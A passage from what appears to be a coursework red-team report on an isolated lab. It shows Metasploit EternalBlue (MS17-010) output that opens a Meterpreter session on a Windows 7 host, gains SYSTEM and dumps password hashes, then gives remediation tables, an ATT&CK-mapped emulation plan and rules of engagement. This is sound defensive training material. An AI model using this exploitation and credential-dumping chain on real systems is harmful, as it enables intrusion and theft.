[+] 192.168.56.104:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit)
[*] 192.168.56.104:445 - Connecting to target for exploitation.
[+] 192.168.56.104:445 - Connection established for exploitation.
[+] 192.168.56.104:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.56.104:445 - CORE raw buffer dump (38 bytes)
[*] 192.168.56.104:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 55 6c 74 69 6d
61 Windows 7 Ultima
[*] 192.168.56.104:445 - 0x00000010 74 65 20 37 36 30 31 20 53 65 72 76 69 63 65
20 te 7601 Service
[*] 192.168.56.104:445 - 0x00000020 50 61 63 6b 20 31
Pack 1
[+] 192.168.56.104:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.56.104:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.56.104:445 - Sending all but last fragment of exploit packet
[*] 192.168.56.104:445 - Starting non-paged pool grooming
[+] 192.168.56.104:445 - Sending SMBv2 buffers
[+] 192.168.56.104:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[+] 192.168.56.104:445 - Sending final SMBv2 buffers
```

Figure 26. Successful remote exploitation against the Windows host.



```
root@kali: ~  
File Edit View Search Terminal Tabs Help  
root@kali: ~ x root@kali: ~ x  
[+] 192.168.56.104:445 - Target arch selected valid for arch indicated by DCE/RPC  
reply  
[*] 192.168.56.104:445 - Trying exploit with 12 Groom Allocations.  
[*] 192.168.56.104:445 - Sending all but last fragment of exploit packet  
[*] 192.168.56.104:445 - Starting non-paged pool grooming  
[+] 192.168.56.104:445 - Sending SMBv2 buffers  
[+] 192.168.56.104:445 - Closing SMBv1 connection creating free hole adjacent to  
SMBv2 buffer.  
[*] 192.168.56.104:445 - Sending final SMBv2 buffers.  
[*] 192.168.56.104:445 - Sending last fragment of exploit packet!  
[*] 192.168.56.104:445 - Receiving response from exploit packet  
[+] 192.168.56.104:445 - ETERNALBLUE overwrite completed successfully (0xC000000D  
)!  
[*] 192.168.56.104:445 - Sending egg to corrupted connection.  
[*] 192.168.56.104:445 - Triggering free of corrupted buffer.  
[*] Sending stage (206403 bytes) to 192.168.56.104  
[*] Meterpreter session 2 opened (192.168.56.103:4444 -> 192.168.56.104:49158) at  
2026-04-16 03:36:06 -0400  
[+] 192.168.56.104:445 - ==-==  
[+] 192.168.56.104:445 - ==-==WIN==-==  
[+] 192.168.56.104:445 - ==-==  
meterpreter > 
```

Figure 27. Meterpreter and system information gathered from Windows 7.



```
root@kali: ~  
File Edit View Search Terminal Tabs Help  
root@kali: ~ x root@kali: ~ x  
[*] Sending stage (206403 bytes) to 192.168.56.104  
[*] Meterpreter session 2 opened (192.168.56.103:4444 -> 192.168.56.104:49158) at  
2026-04-16 03:36:06 -0400  
[+] 192.168.56.104:445 - ==-==  
[+] 192.168.56.104:445 - ==-==  
[+] 192.168.56.104:445 - ==-==  
meterpreter > sysinfo  
Computer : PRIYA-PC  
OS : Windows 7 (Build 7601, Service Pack 1).  
Architecture : x64  
System Language : en_US  
Domain : WORKGROUP  
Logged On Users : 2  
Meterpreter : x64/windows  
meterpreter > getuid  
Server username: NT AUTHORITY\SYSTEM  
meterpreter > hashdump  
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::  
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::  
priya:1000:aad3b435b51404eeaad3b435b51404ee:7ce21f17c0aee7fb9ceba532d0546ad6:::  
meterpreter >
```

Figure 28. Post-exploitation validation and credential-related output.

4.6 Detection gaps, prioritisation, and remediation

In all three attack paths, weak security fundamentals as opposed to sophisticated evasion was the most prominent common theme. The web host put its trust on risky input processing. There was an obsolete service exposed by the Linux target. The Windows host was a combination of an old remote vulnerability and a local protection which was turned off. That is, the drill was not required to have an unnaturally advanced opponent. All it required was one that was persistent enough to list, select the least challenging path and authenticate entry. That is an observation that comes in handy since organisations tend to envision that big compromise must entail state-of-the-art malware. Quite frequently it is not the case.

There are also likely detection gaps indicated in the screenshots. Host discovery and organized scanning over a small subnet must have resulted in valuable telemetry. The execution of the commands that are triggered by a web application should have been an abnormal behaviour. Taking advantage of a common SMB vulnerability and then a privileged remote connection and dumping of credentials ought to have resulted in numerous red flags in a monitored organization. This is not surprising since the resistance was not observed in the lab, but the implication to the real world is obvious: prevention and visibility must complement one another. The best technical report thus goes beyond the display of screenshots. It indicates where the defenders ought to have gotten an opportunity to break the chain.

The three attack paths can be considered as a mini-model of enterprise exposure, when looked at collectively. The DVWA path demonstrates how one of the weaknesses of a web app can be used to cross the boundary between input and execution of the system. The distcc path demonstrates the ease with which a service that is not necessary or is not controlled can provide an attacker with access to shells with minimal effort. The Windows 7 pathway indicates how old platforms turn remote access into complete compromise in case of patching and host controls breakdowns. These are various technical failures, yet they all convey the same underlying problem: the environment presented numerous low-friction paths between visibility and control.

In the context of reporting, the Windows 7 outcome should be rated as the highest-risk finding, the distcc weakness should be rated as a high risk infrastructure exposure and the DVWA command injection rated as a high risk application issue whose business impact would be determined by the host privilege and network trust. The findings, when combined, suggest a mere principle of defense: there is no single good route that attackers require; an environment could provide multiple good-enough routes. Remediation should be aimed at getting rid of such a choice.

Finding	Evidence of compromise	Risk level	Likely control gap
DVWA command injection	System-level output returned through the web application.	High	Weak input handling and insufficient web-to-host separation.
distcc remote execution	Interactive shell and host identity confirmed on Metasploitable.	High	Unnecessary or obsolete service exposed without hardening.
Windows 7 MS17-010 path	Meterpreter session, SYSTEM privilege, and hash extraction.	Critical	Legacy platform, missing patching, disabled host firewall, weak segmentation.

Defensive response of the lab can be prioritised into three layers. On the nearest layer, organisations ought to eliminate or isolate vulnerable services, empower and execute host firewalls, patch reachable systems, and decommission unsupported platforms where feasible. These are simple suggestions, yet the lab findings indicate that they are still important since they directly decrease the set of opportunities of the attacker. The result of a set of attacks can change with a distcc service no longer accessible, a Windows host no longer accessible in the same manner, or a web service executed with more restricted privilege.

Secure platform hardening and secure development must be mutually supporting at the engineering layer. Specific attention should be paid to command injection and other types of flaws in web applications, service accounts and server permissions must be restricted so that the compromise of the application does

not turn into the compromise of the host immediately. Exposure review, patch compliance and logging should be part of the Linux and Windows baselines to facilitate the discovery, exploitation and unusual privilege behaviour investigation. The controlled red-team or adversary-emulation exercises must be maintained at the assurance layer since it will provide insights into the way in which the technical discoveries can be converted into the defensive work. Task 2 did not yield the most useful outcome of obtaining shells per se, but generating evidence-based explanations of why it was possible and what needs to change.

Priority	Actions	Expected security value
Immediate	Patch or isolate reachable vulnerable services, enable host firewalls, and remove unsupported systems.	Reduces remote exploit opportunity quickly.
Short term	Harden identity recovery, tighten privilege, and improve segmentation around management systems.	Limits attacker expansion after foothold.
Ongoing	Use secure coding review, service inventory, logging, and resilience exercises based on identity compromise.	Improves prevention, detection, and recovery together.

4.7 Threat Emulation Plan

This engagement maps directly to the MITRE ATT&CK framework to emulate realistic threat actor behavior against ABCD Ltd.

- 1) **Objective:** Gain unauthorized access to the web perimeter, establish an internal foothold, and achieve full system compromise on an internal legacy server.
- 2) **Phase 1: Discovery (T1595 - Active Scanning):** Utilize Nmap and ARP scanning to map the 192.168.56.0/24 subnet and identify exposed services.
- 3) **Phase 2: Initial Access (T1190 - Exploit Public-Facing Application):** Target the DVWA host using command injection to achieve initial code execution.
- 4) **Phase 3: Execution (T1059 - Command and Scripting Interpreter):** Exploit the exposed distcc service on the Metasploitable host to establish an interactive reverse shell.
- 5) **Phase 4: Privilege Escalation & Lateral Movement (T1210 - Exploitation of Remote Services):** Utilize MS17-010 (EternalBlue) against the legacy Windows 7 host to achieve NT AUTHORITY\SYSTEM privileges.
- 6) **Success Criteria:** Extraction of credential hashes (T1003 - OS Credential Dumping) proving total compromise of the target machine.

5. Evidence Package

This section compiles the evidence captured during the authorised red-team exercise. It includes screenshots, command outputs, proof-of-access artefacts, VirtualBox configuration views, network-adaptor screenshots, service-enumeration results, and exploit-validation evidence. Together, these materials show that the exercise was conducted inside a closed host-only lab and that each stage of the workflow—reconnaissance, scanning, exploitation, post-exploitation, and proof of access—was supported by recorded artefacts. The supporting evidence is presented throughout Section 4 and formally summarised here as the evidence package for the engagement.

6. Conclusion

The two tasks when put together show that cyber security failures are not common occurrences. Task 1 demonstrated how a retail campaign in the real world can turn identity abuse and dependency in its operations in to a big business interruption. Task 2 provided an example of how specific vulnerabilities of web applications, Linux services and legacy windows hosts can be translated into established access, in a safer environment. There is a close association between them. In both cases, the compromise did not depend on anything magical or unusually advanced. It was based on the mechanisms of trust, access to vulnerabilities and defensive vulnerabilities which allowed an attacker to cross the opportunity to impact.

When these layers work together, they force attackers into narrower and noisier paths. When they do not, even an ordinary weakness can grow into an operational crisis. That is why resilience must be treated as part of security from the start, not as something added after a compromise.

There is evidence in this report that can be used to come up with a practical conclusion. Organisations are best improved when they are able to tie business impact, attack path, proof of access and remediation together into a single story. That is the main value of combining Task 1 and Task 2 in one report.

7. References

- [1] Marks & Spencer Group plc, “Annual Report and Financial Statements 2025,” 2025. Available: https://corporate.marksandspencer.com/sites/marksandspencer/files/2025-05/Marks-and-Spencer-Group-plc-Annual-Report-and-Financial-Statements-2025_INTERACTIVE_FINAL.pdf
- [2] The Co-operative Group, “Cyber incident update,” 2025. Available: <https://www.co-operative.coop/media/news-releases/cyber-incident-update>
- [3] The Co-operative Group, “Cyber incident: further update,” 2025. Available: <https://www.co-operative.coop/media/news-releases/cyber-incident-further-update>
- [4] National Cyber Security Centre, “Support for organisations affected by the recent incidents impacting the retail sector,” 2025. Available: <https://www.ncsc.gov.uk/blog-post/incidents-impacting-retailers>
- [5] National Cyber Security Centre, “Incidents impacting retailers – recommendations from the NCSC,” 2025. Available: <https://www.ncsc.gov.uk/blog-post/incidents-impacting-retailers>
- [6] Google Threat Intelligence, “Hardening guidance from the resurgent UNC3944/Scattered Spider threat,” 2025. Available: <https://security.googlecloudcommunity.com/news-announcements-9/index2.html>
- [7] MITRE ATT&CK, “Scattered Spider,” Group G1015. Available: <https://attack.mitre.org/groups/G1015/>
- [8] MITRE ATT&CK, “Valid Accounts,” Technique T1078. Available: <https://attack.mitre.org/techniques/T1078/>
- [9] MITRE ATT&CK, “Multi-Factor Authentication Request Generation,” Technique T1621. Available: <https://attack.mitre.org/techniques/T1621/>
- [10] MITRE ATT&CK, “Active Scanning,” Technique T1595. Available: <https://attack.mitre.org/techniques/T1595/>
- [11] MITRE ATT&CK, “Exploitation of Remote Services,” Technique T1210. Available: <https://attack.mitre.org/techniques/T1210/>
- [12] MITRE ATT&CK, “Command and Scripting Interpreter,” Technique T1059. Available: <https://attack.mitre.org/techniques/T1059/>
- [13] OWASP Foundation, “Command Injection.” Available: https://owasp.org/www-community/attacks/Command_Injection

- [14] National Vulnerability Database, "CVE-2004-2687 Detail." Available: <https://nvd.nist.gov/vuln/detail/CVE-2004-2687>
- [15] Microsoft, "Microsoft Security Bulletin MS17-010 – Critical," 2017. Available: <https://learn.microsoft.com/en-us/security-updates/securitybulletins/2017/ms17-010>
- [16] National Cyber Security Centre, "NCSC Annual Review 2025." Available: <https://www.ncsc.gov.uk/collection/ncsc-annual-review-2025>
- [17] National Cyber Security Centre, "The Government Cyber Action Plan: strengthening resilience across the UK," 2026. Available: <https://www.gov.uk/government/collections/national-cyber-strategy>
- [18] The Co-operative Group, "Co-op partners with The Hacking Games to help prevent future cybercrime," 2025. Available: <https://www.co-operative.coop/media/news-releases/co-op-partners-with-the-hacking-games-to-help-prevent-future-cybercrime>
- [19] Oracle, "Oracle VM VirtualBox User Manual: Networking in VirtualBox." Available: <https://www.virtualbox.org/manual/ch06.html>
- [20] Digininja, "Damn Vulnerable Web Application (DVWA)." Available: <https://github.com/digininja/DVWA>
- [21] PortSwigger Web Security Academy, "OS command injection." Available: <https://portswigger.net/web-security/os-command-injection>
- [22] M. N. Alenezi and M. Alqurishi, "Ransomware Evolution and Mitigation: A Comprehensive Survey," *IEEE Access*, vol. 9, pp. 112140-112157, 2021.
- [23] L. K. Hansen et al., "Understanding the Susceptibility of Multi-Factor Authentication to Social Engineering," *Proceedings of the ACM/IEEE Symposium on Edge Computing*, pp. 245-258, 2022.

Appendix A: Rules of Engagement (RoE) - ABCD Ltd

1. **Client:** ABCD Ltd.
2. **Scope:** All testing is strictly limited to the isolated 192.168.56.0/24 subnet.
3. **Permitted Techniques:** Active reconnaissance, network scanning, application-layer exploitation, and privilege escalation using simulated C2 frameworks.
4. **Excluded Systems:** No testing will be conducted against out-of-scope production environments, third-party infrastructure, or external public IP addresses. Denial of Service (DoS) attacks are strictly prohibited.
5. **Kill Switch / Communication:** If ABCD Ltd management detects unmanageable disruption, they will issue the safe-word "RED-STOP" via the primary communication channel, and all offensive operations will cease immediately.